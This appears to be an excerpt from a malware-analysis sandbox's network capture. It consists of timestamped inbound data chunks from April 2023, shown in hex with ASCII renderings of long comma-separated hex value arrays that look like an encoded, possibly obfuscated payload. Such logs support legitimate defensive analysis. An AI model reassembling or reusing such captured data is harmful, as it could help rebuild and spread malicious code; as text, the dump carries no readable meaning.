2023-04-20 23:05:33 UTC	19597	IN	Data Raw: 2c 39 61 2c 37 61 2c 61 63 2c 31 33 32 2c 31 36 33 2c 31 33 34 2c 65 30 2c 63 36 2c 31 30 36 2c 31 35 31 2c 61 32 2c 35 63 2c 38 31 2c 61 65 2c 64 34 2c 31 32 66 2c 31 36 36 2c 66 32 2c 31 31 38 2c 63 66 2c 36 34 2c 38 39 2c 31 34 61 2c 38 32 2c 65 62 2c 39 37 2c 31 32 38 2c 38 33 2c 38 38 2c 65 32 2c 38 61 2c 63 35 2c 31 30 35 2c 63 64 2c 36 34 2c 31 32 62 2c 31 33 34 2c 36 63 2c 38 34 2c 37 61 2c 31 31 62 2c 31 32 62 2c 31 32 32 2c 31 31 35 2c 61 31 2c 37 35 2c 63 32 2c 34 35 2c 66 62 2c 62 30 2c 35 37 2c 62 38 2c 65 61 2c 63 30 2c 31 33 38 2c 64 64 2c 31 32 61 2c 39 64 2c 31 32 31 2c 35 37 2c 36 66 2c 31 31 62 2c 31 35 65 2c 31 34 65 2c 36 35 2c 66 61 2c 36 33 2c 64 34 2c 39 61 2c 61 37 2c 62 30 2c 36 61 2c 64 32 2c 31 34 61 2c 66 31 2c 35 65 2c 31 30 Data Ascii: ,9a,7a,ac,132,163,134,e0,c6,106,151,a2,5c,81,ae,d4,12f,166,f2,118,cf,64,89,14a,82,eb,97,128,83,88,e2,8a,c5,105,cd,64,12b,134,6c,84,7a,11b,12b,122,115,a1,75,c2,45,fb,b0,57,b8,ea,c0,138,dd,12a,9d,121,57,6f,11b,15e,14e,65,fa,63,d4,9a,a7,b0,6a,d2,14a,f1,5e,10
2023-04-20 23:05:33 UTC	19613	IN	Data Raw: 2c 31 32 62 2c 31 36 33 2c 31 32 65 2c 62 37 2c 62 36 2c 31 32 38 2c 31 33 61 2c 63 30 2c 31 30 66 2c 64 32 2c 63 61 2c 31 31 65 2c 31 34 36 2c 31 32 31 2c 31 36 38 2c 39 65 2c 38 38 2c 31 33 66 2c 36 37 2c 62 32 2c 31 30 31 2c 31 33 33 2c 31 30 64 2c 64 39 2c 31 31 32 2c 31 36 65 2c 61 61 2c 37 35 2c 66 38 2c 63 34 2c 62 36 2c 63 38 2c 61 63 2c 38 34 2c 61 65 2c 62 62 2c 31 32 63 2c 31 31 30 2c 62 33 2c 64 34 2c 64 39 2c 63 65 2c 65 66 2c 39 36 2c 31 31 32 2c 31 30 63 2c 31 34 34 2c 34 61 2c 38 30 2c 31 35 36 2c 31 30 30 2c 31 33 62 2c 39 38 2c 34 37 2c 31 33 66 2c 31 31 63 2c 61 66 2c 31 33 36 2c 31 32 33 2c 63 32 2c 35 61 2c 33 30 2c 38 35 2c 64 38 2c 31 33 39 2c 62 30 2c 31 34 62 2c 64 32 2c 38 34 2c 62 30 2c 38 38 2c 66 31 2c 36 30 2c 37 35 2c 31 34 Data Ascii: ,12b,163,12e,b7,b6,128,13a,c0,10f,d2,ca,11e,146,121,168,9e,88,13f,67,b2,101,133,10d,d9,112,16e,aa,75,f8,c4,b6,c8,ac,84,ae,bb,12c,110,b3,d4,d9,ce,ef,96,112,10c,144,4a,80,156,100,13b,98,47,13f,11c,af,136,123,c2,5a,30,85,d8,139,b0,14b,d2,84,b0,88,f1,60,75,14
2023-04-20 23:05:34 UTC	19629	IN	Data Raw: 2c 38 30 2c 31 31 62 2c 65 35 2c 31 33 30 2c 64 37 2c 64 65 2c 65 34 2c 63 37 2c 31 35 66 2c 31 33 64 2c 31 33 62 2c 31 34 37 2c 34 32 2c 31 31 62 2c 34 62 2c 31 32 35 2c 64 33 2c 31 33 36 2c 31 30 62 2c 61 64 2c 31 36 35 2c 61 30 2c 63 39 2c 38 66 2c 37 36 2c 63 61 2c 38 36 2c 61 34 2c 65 32 2c 31 34 30 2c 31 32 63 2c 31 30 64 2c 63 38 2c 31 31 39 2c 31 33 62 2c 31 32 64 2c 63 61 2c 37 61 2c 38 39 2c 62 65 2c 31 34 36 2c 31 33 32 2c 62 63 2c 37 38 2c 33 37 2c 31 34 39 2c 64 31 2c 36 64 2c 31 32 36 2c 31 35 33 2c 39 63 2c 38 63 2c 31 35 35 2c 31 35 62 2c 35 61 2c 31 33 35 2c 31 31 36 2c 31 35 35 2c 64 33 2c 31 33 39 2c 63 37 2c 65 34 2c 31 33 36 2c 31 32 63 2c 64 37 2c 31 33 65 2c 64 38 2c 37 30 2c 62 38 2c 39 34 2c 31 30 37 2c 63 37 2c 31 34 38 2c 31 33 Data Ascii: ,80,11b,e5,130,d7,de,e4,c7,15f,13d,13b,147,42,11b,4b,125,d3,136,10b,ad,165,a0,c9,8f,76,ca,86,a4,e2,140,12c,10d,c8,119,13b,12d,ca,7a,89,be,146,132,bc,78,37,149,d1,6d,126,153,9c,8c,155,15b,5a,135,116,155,d3,139,c7,e4,136,12c,d7,13e,d8,70,b8,94,107,c7,148,13
2023-04-20 23:05:34 UTC	19645	IN	Data Raw: 66 39 2c 34 34 2c 31 34 34 2c 31 30 35 2c 31 34 35 2c 38 37 2c 66 36 2c 66 63 2c 34 34 2c 31 32 37 2c 37 35 2c 64 64 2c 35 30 2c 64 64 2c 61 66 2c 66 66 2c 37 34 2c 65 66 2c 31 36 35 2c 62 65 2c 63 33 2c 39 38 2c 63 36 2c 65 64 2c 39 62 2c 34 37 2c 63 36 2c 63 30 2c 39 37 2c 37 37 2c 31 33 65 2c 31 33 34 2c 31 33 31 2c 34 38 2c 38 65 2c 38 62 2c 35 37 2c 38 35 2c 36 66 2c 62 30 2c 34 31 2c 31 31 38 2c 38 37 2c 61 65 2c 36 37 2c 36 30 2c 63 63 2c 31 35 32 2c 35 64 2c 33 38 2c 64 34 2c 31 30 61 2c 35 63 2c 36 33 2c 39 30 2c 36 61 2c 38 31 2c 66 63 2c 63 32 2c 38 36 2c 61 31 2c 31 31 62 2c 38 65 2c 36 39 2c 34 63 2c 31 32 38 2c 37 66 2c 38 35 2c 62 35 2c 31 33 31 2c 61 62 2c 31 31 64 2c 62 63 2c 38 61 2c 37 37 2c 31 32 32 2c 37 34 2c 36 34 2c 37 62 2c 31 34 Data Ascii: f9,44,144,105,145,87,f6,fc,44,127,75,dd,50,dd,af,ff,74,ef,165,be,c3,98,c6,ed,9b,47,c6,c0,97,77,13e,134,131,48,8e,8b,57,85,6f,b0,41,118,87,ae,67,60,cc,152,5d,38,d4,10a,5c,63,90,6a,81,fc,c2,86,a1,11b,8e,69,4c,128,7f,85,b5,131,ab,11d,bc,8a,77,122,74,64,7b,14
2023-04-20 23:05:34 UTC	19661	IN	Data Raw: 38 38 2c 38 30 2c 31 31 63 2c 31 31 65 2c 64 37 2c 31 33 38 2c 39 30 2c 31 30 34 2c 38 62 2c 37 39 2c 38 62 2c 31 32 36 2c 31 31 66 2c 38 33 2c 36 38 2c 63 65 2c 38 35 2c 38 62 2c 31 33 62 2c 31 33 63 2c 63 34 2c 35 65 2c 38 62 2c 31 35 35 2c 39 36 2c 63 35 2c 39 62 2c 36 37 2c 65 36 2c 37 34 2c 66 34 2c 35 34 2c 61 31 2c 31 31 62 2c 37 31 2c 65 36 2c 38 37 2c 31 35 32 2c 33 62 2c 37 61 2c 31 31 33 2c 31 33 66 2c 64 36 2c 63 38 2c 31 31 31 2c 31 32 32 2c 61 37 2c 31 34 33 2c 36 62 2c 62 32 2c 38 34 2c 31 34 36 2c 36 34 2c 61 35 2c 36 30 2c 31 36 30 2c 37 61 2c 64 38 2c 63 61 2c 38 32 2c 64 34 2c 37 63 2c 63 34 2c 31 30 32 2c 31 36 63 2c 66 63 2c 31 35 63 2c 36 61 2c 66 35 2c 64 34 2c 62 65 2c 31 34 62 2c 35 34 2c 31 37 32 2c 64 61 2c 66 35 2c 31 31 39 2c Data Ascii: 88,80,11c,11e,d7,138,90,104,8b,79,8b,126,11f,83,68,ce,85,8b,13b,13c,c4,5e,8b,155,96,c5,9b,67,e6,74,f4,54,a1,11b,71,e6,87,152,3b,7a,113,13f,d6,c8,111,122,a7,143,6b,b2,84,146,64,a5,60,160,7a,d8,ca,82,d4,7c,c4,102,16c,fc,15c,6a,f5,d4,be,14b,54,172,da,f5,119,
2023-04-20 23:05:34 UTC	19677	IN	Data Raw: 31 34 62 2c 31 32 64 2c 63 32 2c 64 66 2c 65 62 2c 66 64 2c 66 64 2c 37 62 2c 35 39 2c 37 31 2c 31 30 36 2c 61 34 2c 65 31 2c 31 31 66 2c 65 64 2c 31 32 38 2c 37 35 2c 31 34 35 2c 37 35 2c 31 31 33 2c 64 39 2c 65 64 2c 66 62 2c 36 32 2c 31 30 65 2c 38 61 2c 31 30 31 2c 31 35 36 2c 65 36 2c 36 31 2c 35 36 2c 31 32 61 2c 31 33 64 2c 31 31 31 2c 39 64 2c 65 35 2c 62 35 2c 31 36 36 2c 31 32 34 2c 66 31 2c 35 62 2c 31 34 66 2c 31 36 36 2c 38 64 2c 31 31 35 2c 66 66 2c 64 32 2c 63 32 2c 36 65 2c 31 35 36 2c 31 35 38 2c 31 32 38 2c 66 36 2c 33 62 2c 35 63 2c 36 30 2c 64 62 2c 61 66 2c 61 63 2c 31 33 63 2c 39 39 2c 64 61 2c 61 39 2c 34 35 2c 62 64 2c 31 35 64 2c 31 32 33 2c 31 36 31 2c 35 34 2c 31 35 36 2c 63 34 2c 31 30 35 2c 35 30 2c 37 33 2c 31 31 34 2c 31 35 Data Ascii: 14b,12d,c2,df,eb,fd,fd,7b,59,71,106,a4,e1,11f,ed,128,75,145,75,113,d9,ed,fb,62,10e,8a,101,156,e6,61,56,12a,13d,111,9d,e5,b5,166,124,f1,5b,14f,166,8d,115,ff,d2,c2,6e,156,158,128,f6,3b,5c,60,db,af,ac,13c,99,da,a9,45,bd,15d,123,161,54,156,c4,105,50,73,114,15
2023-04-20 23:05:34 UTC	19693	IN	Data Raw: 2c 31 30 30 2c 39 62 2c 31 30 38 2c 63 61 2c 61 64 2c 31 31 35 2c 65 62 2c 63 32 2c 62 36 2c 37 35 2c 31 30 37 2c 34 37 2c 38 34 2c 62 33 2c 31 32 31 2c 31 35 63 2c 65 64 2c 31 32 64 2c 38 39 2c 38 39 2c 31 33 36 2c 31 32 63 2c 62 66 2c 36 32 2c 36 35 2c 61 37 2c 61 37 2c 62 34 2c 38 39 2c 31 35 62 2c 63 64 2c 34 30 2c 31 32 39 2c 61 66 2c 63 63 2c 63 62 2c 35 30 2c 65 33 2c 66 36 2c 31 32 35 2c 38 32 2c 31 35 37 2c 33 64 2c 31 33 33 2c 31 31 31 2c 31 31 61 2c 39 38 2c 62 63 2c 66 64 2c 66 65 2c 31 32 38 2c 61 32 2c 38 38 2c 35 38 2c 37 34 2c 35 39 2c 37 34 2c 61 63 2c 63 64 2c 37 32 2c 31 32 34 2c 39 35 2c 37 34 2c 39 36 2c 39 35 2c 31 32 39 2c 33 61 2c 38 31 2c 31 31 37 2c 31 33 30 2c 36 65 2c 31 32 62 2c 63 35 2c 39 36 2c 62 63 2c 36 65 2c 64 37 2c 31 Data Ascii: ,100,9b,108,ca,ad,115,eb,c2,b6,75,107,47,84,b3,121,15c,ed,12d,89,89,136,12c,bf,62,65,a7,a7,b4,89,15b,cd,40,129,af,cc,cb,50,e3,f6,125,82,157,3d,133,111,11a,98,bc,fd,fe,128,a2,88,58,74,59,74,ac,cd,72,124,95,74,96,95,129,3a,81,117,130,6e,12b,c5,96,bc,6e,d7,1
2023-04-20 23:05:34 UTC	19709	IN	Data Raw: 63 2c 34 32 2c 31 36 30 2c 37 36 2c 65 64 2c 65 38 2c 31 33 66 2c 37 39 2c 31 34 32 2c 31 30 38 2c 65 65 2c 36 36 2c 31 32 65 2c 62 30 2c 66 32 2c 31 34 65 2c 66 31 2c 31 32 32 2c 63 39 2c 31 30 33 2c 66 36 2c 31 35 36 2c 65 30 2c 31 34 64 2c 64 62 2c 31 37 33 2c 38 64 2c 66 63 2c 31 31 62 2c 31 31 65 2c 31 36 37 2c 31 35 32 2c 62 39 2c 31 30 61 2c 38 64 2c 36 38 2c 35 30 2c 31 32 35 2c 63 32 2c 31 31 65 2c 37 37 2c 36 32 2c 31 31 31 2c 62 38 2c 66 61 2c 39 38 2c 31 35 34 2c 63 32 2c 31 32 61 2c 65 64 2c 64 64 2c 31 30 38 2c 31 33 30 2c 31 32 39 2c 37 65 2c 62 31 2c 35 66 2c 64 39 2c 31 36 31 2c 64 64 2c 31 33 39 2c 66 65 2c 31 35 30 2c 37 35 2c 37 36 2c 64 38 2c 37 36 2c 31 30 61 2c 31 30 36 2c 61 32 2c 36 63 2c 31 35 34 2c 31 34 61 2c 66 33 2c 31 33 62 Data Ascii: c,42,160,76,ed,e8,13f,79,142,108,ee,66,12e,b0,f2,14e,f1,122,c9,103,f6,156,e0,14d,db,173,8d,fc,11b,11e,167,152,b9,10a,8d,68,50,125,c2,11e,77,62,111,b8,fa,98,154,c2,12a,ed,dd,108,130,129,7e,b1,5f,d9,161,dd,139,fe,150,75,76,d8,76,10a,106,a2,6c,154,14a,f3,13b
2023-04-20 23:05:34 UTC	19725	IN	Data Raw: 33 64 2c 62 31 2c 35 64 2c 31 34 61 2c 31 34 63 2c 31 32 30 2c 31 32 66 2c 33 31 2c 31 34 38 2c 63 63 2c 31 34 36 2c 31 31 30 2c 31 34 66 2c 31 32 64 2c 61 32 2c 34 66 2c 36 38 2c 31 32 31 2c 66 38 2c 61 33 2c 61 66 2c 35 38 2c 64 39 2c 65 66 2c 39 35 2c 66 38 2c 62 38 2c 62 38 2c 39 61 2c 31 33 39 2c 65 35 2c 65 31 2c 31 34 66 2c 35 61 2c 65 39 2c 61 65 2c 31 33 66 2c 31 31 65 2c 64 37 2c 31 31 31 2c 36 65 2c 37 63 2c 34 66 2c 39 32 2c 31 30 31 2c 31 34 31 2c 65 32 2c 66 37 2c 36 39 2c 35 37 2c 31 31 37 2c 31 35 32 2c 61 61 2c 31 30 31 2c 31 34 33 2c 35 32 2c 37 64 2c 31 31 32 2c 63 65 2c 31 36 33 2c 31 30 63 2c 31 36 36 2c 36 38 2c 64 30 2c 64 65 2c 38 66 2c 38 62 2c 31 31 35 2c 31 33 38 2c 31 30 38 2c 62 64 2c 35 34 2c 31 33 39 2c 61 39 2c 37 31 2c 31 Data Ascii: 3d,b1,5d,14a,14c,120,12f,31,148,cc,146,110,14f,12d,a2,4f,68,121,f8,a3,af,58,d9,ef,95,f8,b8,b8,9a,139,e5,e1,14f,5a,e9,ae,13f,11e,d7,111,6e,7c,4f,92,101,141,e2,f7,69,57,117,152,aa,101,143,52,7d,112,ce,163,10c,166,68,d0,de,8f,8b,115,138,108,bd,54,139,a9,71,1
2023-04-20 23:05:34 UTC	19741	IN	Data Raw: 39 30 2c 61 37 2c 62 66 2c 31 31 63 2c 37 34 2c 61 30 2c 36 66 2c 66 34 2c 65 31 2c 61 35 2c 63 65 2c 31 32 39 2c 31 34 31 2c 39 36 2c 66 30 2c 33 37 2c 64 63 2c 63 62 2c 35 34 2c 64 34 2c 61 31 2c 31 33 33 2c 63 33 2c 64 30 2c 31 31 39 2c 38 61 2c 31 30 33 2c 62 36 2c 31 34 36 2c 35 61 2c 37 39 2c 64 39 2c 63 63 2c 36 64 2c 37 37 2c 31 34 65 2c 31 33 30 2c 62 39 2c 63 32 2c 64 64 2c 31 32 64 2c 37 39 2c 31 30 65 2c 39 63 2c 39 61 2c 37 66 2c 39 63 2c 39 30 2c 66 39 2c 62 36 2c 37 31 2c 31 36 62 2c 62 34 2c 37 34 2c 63 30 2c 31 32 31 2c 62 32 2c 66 63 2c 65 38 2c 39 63 2c 31 35 31 2c 31 30 64 2c 66 66 2c 38 34 2c 37 33 2c 39 34 2c 63 36 2c 64 63 2c 62 63 2c 31 33 35 2c 65 34 2c 38 32 2c 31 33 64 2c 63 30 2c 31 36 36 2c 31 30 61 2c 61 64 2c 35 65 2c 31 34 Data Ascii: 90,a7,bf,11c,74,a0,6f,f4,e1,a5,ce,129,141,96,f0,37,dc,cb,54,d4,a1,133,c3,d0,119,8a,103,b6,146,5a,79,d9,cc,6d,77,14e,130,b9,c2,dd,12d,79,10e,9c,9a,7f,9c,90,f9,b6,71,16b,b4,74,c0,121,b2,fc,e8,9c,151,10d,ff,84,73,94,c6,dc,bc,135,e4,82,13d,c0,166,10a,ad,5e,14
2023-04-20 23:05:34 UTC	19757	IN	Data Raw: 61 2c 36 64 2c 35 63 2c 31 32 61 2c 39 33 2c 31 37 33 2c 63 36 2c 37 38 2c 34 30 2c 39 33 2c 31 34 64 2c 33 61 2c 63 65 2c 31 33 63 2c 61 36 2c 31 33 30 2c 31 30 30 2c 35 38 2c 31 30 30 2c 31 31 64 2c 39 37 2c 63 30 2c 66 34 2c 31 32 38 2c 31 31 65 2c 35 36 2c 63 32 2c 66 64 2c 37 64 2c 63 32 2c 31 34 30 2c 31 33 31 2c 66 32 2c 38 35 2c 35 39 2c 64 33 2c 31 33 35 2c 66 32 2c 31 33 37 2c 37 34 2c 38 34 2c 61 62 2c 65 61 2c 34 65 2c 65 37 2c 61 30 2c 61 30 2c 62 33 2c 37 66 2c 39 37 2c 31 35 36 2c 36 34 2c 31 30 66 2c 35 61 2c 31 35 33 2c 61 66 2c 31 30 63 2c 38 63 2c 31 34 33 2c 64 66 2c 31 31 34 2c 39 66 2c 61 66 2c 31 33 35 2c 66 66 2c 31 31 62 2c 31 34 61 2c 66 61 2c 38 31 2c 63 37 2c 31 31 33 2c 66 36 2c 34 30 2c 31 32 32 2c 31 33 35 2c 38 38 2c 65 64 Data Ascii: a,6d,5c,12a,93,173,c6,78,40,93,14d,3a,ce,13c,a6,130,100,58,100,11d,97,c0,f4,128,11e,56,c2,fd,7d,c2,140,131,f2,85,59,d3,135,f2,137,74,84,ab,ea,4e,e7,a0,a0,b3,7f,97,156,64,10f,5a,153,af,10c,8c,143,df,114,9f,af,135,ff,11b,14a,fa,81,c7,113,f6,40,122,135,88,ed
2023-04-20 23:05:34 UTC	19773	IN	Data Raw: 36 39 2c 66 65 2c 39 31 2c 65 36 2c 31 32 64 2c 31 33 62 2c 31 35 32 2c 31 34 38 2c 31 32 39 2c 63 30 2c 39 36 2c 62 33 2c 31 35 62 2c 63 66 2c 31 32 31 2c 64 66 2c 31 31 32 2c 38 39 2c 66 30 2c 61 37 2c 38 61 2c 62 37 2c 31 35 39 2c 31 32 34 2c 31 30 61 2c 31 32 38 2c 37 31 2c 31 31 38 2c 37 65 2c 31 32 64 2c 39 32 2c 63 64 2c 36 65 2c 65 66 2c 35 35 2c 34 63 2c 35 64 2c 36 65 2c 31 35 38 2c 63 36 2c 34 38 2c 38 66 2c 38 31 2c 31 36 63 2c 64 34 2c 35 64 2c 37 30 2c 64 33 2c 33 64 2c 63 62 2c 38 64 2c 61 31 2c 61 38 2c 36 65 2c 31 35 36 2c 63 63 2c 31 34 62 2c 31 33 61 2c 34 37 2c 31 30 38 2c 35 36 2c 39 61 2c 31 31 66 2c 39 35 2c 64 32 2c 31 35 63 2c 31 31 63 2c 61 33 2c 64 37 2c 38 63 2c 31 33 32 2c 37 65 2c 62 37 2c 39 38 2c 61 31 2c 61 37 2c 61 37 2c Data Ascii: 69,fe,91,e6,12d,13b,152,148,129,c0,96,b3,15b,cf,121,df,112,89,f0,a7,8a,b7,159,124,10a,128,71,118,7e,12d,92,cd,6e,ef,55,4c,5d,6e,158,c6,48,8f,81,16c,d4,5d,70,d3,3d,cb,8d,a1,a8,6e,156,cc,14b,13a,47,108,56,9a,11f,95,d2,15c,11c,a3,d7,8c,132,7e,b7,98,a1,a7,a7,
2023-04-20 23:05:34 UTC	19789	IN	Data Raw: 32 63 2c 62 38 2c 66 32 2c 63 66 2c 65 30 2c 39 33 2c 63 36 2c 31 35 63 2c 36 31 2c 36 38 2c 31 34 32 2c 31 32 64 2c 31 32 35 2c 38 32 2c 36 61 2c 37 32 2c 31 31 63 2c 63 35 2c 37 61 2c 31 34 36 2c 39 39 2c 63 66 2c 66 34 2c 31 32 39 2c 62 64 2c 63 33 2c 35 61 2c 31 31 62 2c 61 62 2c 31 36 66 2c 31 30 30 2c 31 32 39 2c 62 61 2c 31 34 64 2c 34 30 2c 37 35 2c 62 34 2c 31 32 32 2c 64 65 2c 39 35 2c 31 32 37 2c 31 30 63 2c 64 64 2c 64 61 2c 31 34 36 2c 36 35 2c 37 31 2c 62 66 2c 31 31 64 2c 36 38 2c 64 38 2c 64 31 2c 62 30 2c 31 34 37 2c 39 61 2c 31 33 32 2c 31 36 30 2c 31 34 31 2c 36 39 2c 61 30 2c 31 33 36 2c 31 34 65 2c 63 61 2c 31 33 39 2c 31 31 34 2c 66 36 2c 61 65 2c 65 62 2c 61 36 2c 31 32 61 2c 31 33 30 2c 38 63 2c 66 37 2c 65 39 2c 38 33 2c 31 30 64 Data Ascii: 2c,b8,f2,cf,e0,93,c6,15c,61,68,142,12d,125,82,6a,72,11c,c5,7a,146,99,cf,f4,129,bd,c3,5a,11b,ab,16f,100,129,ba,14d,40,75,b4,122,de,95,127,10c,dd,da,146,65,71,bf,11d,68,d8,d1,b0,147,9a,132,160,141,69,a0,136,14e,ca,139,114,f6,ae,eb,a6,12a,130,8c,f7,e9,83,10d
2023-04-20 23:05:34 UTC	19805	IN	Data Raw: 35 30 2c 37 35 2c 31 31 37 2c 31 33 66 2c 66 33 2c 31 35 32 2c 31 34 30 2c 35 36 2c 65 31 2c 65 66 2c 64 34 2c 62 34 2c 39 34 2c 62 64 2c 35 65 2c 64 62 2c 39 38 2c 31 30 30 2c 62 36 2c 31 30 38 2c 66 39 2c 63 64 2c 66 64 2c 31 33 31 2c 66 63 2c 36 39 2c 36 66 2c 31 35 35 2c 66 61 2c 39 61 2c 36 36 2c 31 35 34 2c 39 35 2c 64 64 2c 31 34 66 2c 38 63 2c 33 63 2c 38 35 2c 31 31 62 2c 31 32 61 2c 38 64 2c 31 36 31 2c 31 30 31 2c 33 39 2c 31 35 33 2c 31 36 30 2c 65 39 2c 31 30 36 2c 61 32 2c 65 66 2c 35 66 2c 37 37 2c 31 30 39 2c 31 32 31 2c 65 65 2c 36 34 2c 31 33 66 2c 31 35 65 2c 31 35 34 2c 38 64 2c 37 62 2c 62 33 2c 65 31 2c 31 35 65 2c 31 35 65 2c 64 33 2c 64 65 2c 39 32 2c 61 35 2c 31 31 38 2c 38 64 2c 37 37 2c 31 33 34 2c 65 65 2c 36 64 2c 65 66 2c 31 Data Ascii: 50,75,117,13f,f3,152,140,56,e1,ef,d4,b4,94,bd,5e,db,98,100,b6,108,f9,cd,fd,131,fc,69,6f,155,fa,9a,66,154,95,dd,14f,8c,3c,85,11b,12a,8d,161,101,39,153,160,e9,106,a2,ef,5f,77,109,121,ee,64,13f,15e,154,8d,7b,b3,e1,15e,15e,d3,de,92,a5,118,8d,77,134,ee,6d,ef,1
2023-04-20 23:05:34 UTC	19821	IN	Data Raw: 2c 37 35 2c 31 33 35 2c 31 32 39 2c 39 65 2c 31 34 61 2c 35 30 2c 62 36 2c 31 34 30 2c 38 39 2c 38 62 2c 31 36 36 2c 61 65 2c 66 36 2c 62 61 2c 31 30 32 2c 62 32 2c 31 34 66 2c 36 39 2c 62 31 2c 37 35 2c 39 38 2c 31 30 35 2c 31 33 65 2c 65 36 2c 31 31 35 2c 38 65 2c 38 38 2c 34 62 2c 31 34 36 2c 64 33 2c 61 63 2c 31 32 39 2c 66 36 2c 31 30 63 2c 61 36 2c 35 32 2c 39 35 2c 35 63 2c 31 33 65 2c 37 66 2c 35 61 2c 34 63 2c 37 62 2c 36 34 2c 37 66 2c 36 39 2c 64 33 2c 39 37 2c 31 33 65 2c 64 64 2c 66 35 2c 36 37 2c 31 31 61 2c 31 35 34 2c 65 37 2c 31 34 36 2c 31 31 36 2c 63 39 2c 39 65 2c 31 32 63 2c 31 32 32 2c 31 33 66 2c 62 66 2c 31 35 33 2c 35 65 2c 31 30 61 2c 39 38 2c 33 36 2c 65 38 2c 65 34 2c 31 33 35 2c 62 63 2c 65 33 2c 61 66 2c 31 30 33 2c 31 30 64 Data Ascii: ,75,135,129,9e,14a,50,b6,140,89,8b,166,ae,f6,ba,102,b2,14f,69,b1,75,98,105,13e,e6,115,8e,88,4b,146,d3,ac,129,f6,10c,a6,52,95,5c,13e,7f,5a,4c,7b,64,7f,69,d3,97,13e,dd,f5,67,11a,154,e7,146,116,c9,9e,12c,122,13f,bf,153,5e,10a,98,36,e8,e4,135,bc,e3,af,103,10d
2023-04-20 23:05:34 UTC	19837	IN	Data Raw: 2c 31 34 62 2c 31 31 63 2c 31 30 36 2c 63 33 2c 35 35 2c 37 35 2c 38 36 2c 31 32 39 2c 31 34 37 2c 34 33 2c 61 36 2c 39 35 2c 65 62 2c 37 63 2c 38 65 2c 66 34 2c 61 34 2c 31 31 36 2c 35 30 2c 35 33 2c 31 34 34 2c 66 63 2c 31 32 34 2c 63 62 2c 66 63 2c 65 66 2c 65 66 2c 63 38 2c 31 34 63 2c 36 65 2c 31 32 38 2c 31 32 31 2c 66 61 2c 36 33 2c 39 33 2c 38 37 2c 31 30 32 2c 31 34 61 2c 66 31 2c 36 31 2c 35 34 2c 38 30 2c 37 61 2c 61 36 2c 66 65 2c 37 62 2c 65 37 2c 66 65 2c 31 32 31 2c 32 64 2c 31 33 65 2c 65 34 2c 31 31 61 2c 62 35 2c 65 66 2c 33 31 2c 61 61 2c 65 34 2c 35 39 2c 31 34 63 2c 31 32 32 2c 38 64 2c 38 65 2c 31 32 30 2c 64 64 2c 65 64 2c 31 30 34 2c 38 33 2c 31 34 64 2c 31 32 31 2c 35 30 2c 66 33 2c 66 63 2c 31 32 31 2c 35 33 2c 31 32 32 2c 63 63 Data Ascii: ,14b,11c,106,c3,55,75,86,129,147,43,a6,95,eb,7c,8e,f4,a4,116,50,53,144,fc,124,cb,fc,ef,ef,c8,14c,6e,128,121,fa,63,93,87,102,14a,f1,61,54,80,7a,a6,fe,7b,e7,fe,121,2d,13e,e4,11a,b5,ef,31,aa,e4,59,14c,122,8d,8e,120,dd,ed,104,83,14d,121,50,f3,fc,121,53,122,cc
2023-04-20 23:05:34 UTC	19853	IN	Data Raw: 2c 36 65 2c 31 33 31 2c 63 62 2c 36 33 2c 38 33 2c 36 66 2c 31 30 32 2c 63 35 2c 37 66 2c 62 35 2c 37 36 2c 61 66 2c 31 30 66 2c 61 64 2c 31 33 63 2c 61 38 2c 38 34 2c 31 32 37 2c 37 39 2c 65 38 2c 37 37 2c 34 65 2c 64 37 2c 39 32 2c 31 34 31 2c 31 34 62 2c 35 31 2c 64 35 2c 31 31 62 2c 31 35 66 2c 66 66 2c 38 35 2c 61 37 2c 36 65 2c 61 63 2c 35 66 2c 37 32 2c 39 62 2c 38 31 2c 39 39 2c 37 35 2c 39 35 2c 38 39 2c 39 31 2c 34 64 2c 31 34 39 2c 39 39 2c 39 66 2c 35 39 2c 37 66 2c 31 31 39 2c 38 62 2c 36 38 2c 31 30 36 2c 64 31 2c 61 38 2c 63 36 2c 38 66 2c 66 33 2c 37 66 2c 31 33 63 2c 31 30 34 2c 31 30 31 2c 64 39 2c 38 30 2c 36 30 2c 62 64 2c 63 33 2c 35 63 2c 31 34 39 2c 38 63 2c 31 30 64 2c 37 62 2c 66 36 2c 31 37 32 2c 31 30 39 2c 62 61 2c 61 66 2c 31 Data Ascii: ,6e,131,cb,63,83,6f,102,c5,7f,b5,76,af,10f,ad,13c,a8,84,127,79,e8,77,4e,d7,92,141,14b,51,d5,11b,15f,ff,85,a7,6e,ac,5f,72,9b,81,99,75,95,89,91,4d,149,99,9f,59,7f,119,8b,68,106,d1,a8,c6,8f,f3,7f,13c,104,101,d9,80,60,bd,c3,5c,149,8c,10d,7b,f6,172,109,ba,af,1
2023-04-20 23:05:34 UTC	19869	IN	Data Raw: 2c 62 31 2c 39 39 2c 31 31 39 2c 31 35 30 2c 31 36 33 2c 35 66 2c 31 31 38 2c 31 30 63 2c 31 36 32 2c 31 31 62 2c 31 34 64 2c 39 63 2c 36 31 2c 65 64 2c 31 30 38 2c 65 63 2c 31 30 33 2c 65 33 2c 31 33 35 2c 66 39 2c 65 35 2c 31 34 34 2c 37 30 2c 61 64 2c 35 62 2c 64 38 2c 62 33 2c 38 30 2c 64 65 2c 38 34 2c 63 35 2c 66 30 2c 61 32 2c 61 62 2c 31 31 30 2c 31 32 61 2c 31 36 39 2c 38 63 2c 39 63 2c 65 64 2c 31 35 37 2c 62 62 2c 61 64 2c 65 61 2c 36 38 2c 36 64 2c 36 32 2c 36 33 2c 65 33 2c 39 37 2c 37 61 2c 64 35 2c 62 31 2c 38 36 2c 31 30 37 2c 33 66 2c 31 30 66 2c 36 30 2c 31 33 66 2c 66 65 2c 31 33 36 2c 63 66 2c 63 32 2c 33 38 2c 31 33 30 2c 61 35 2c 36 33 2c 65 31 2c 61 64 2c 33 64 2c 35 62 2c 31 32 39 2c 31 34 65 2c 65 33 2c 36 34 2c 31 30 36 2c 31 33 Data Ascii: ,b1,99,119,150,163,5f,118,10c,162,11b,14d,9c,61,ed,108,ec,103,e3,135,f9,e5,144,70,ad,5b,d8,b3,80,de,84,c5,f0,a2,ab,110,12a,169,8c,9c,ed,157,bb,ad,ea,68,6d,62,63,e3,97,7a,d5,b1,86,107,3f,10f,60,13f,fe,136,cf,c2,38,130,a5,63,e1,ad,3d,5b,129,14e,e3,64,106,13
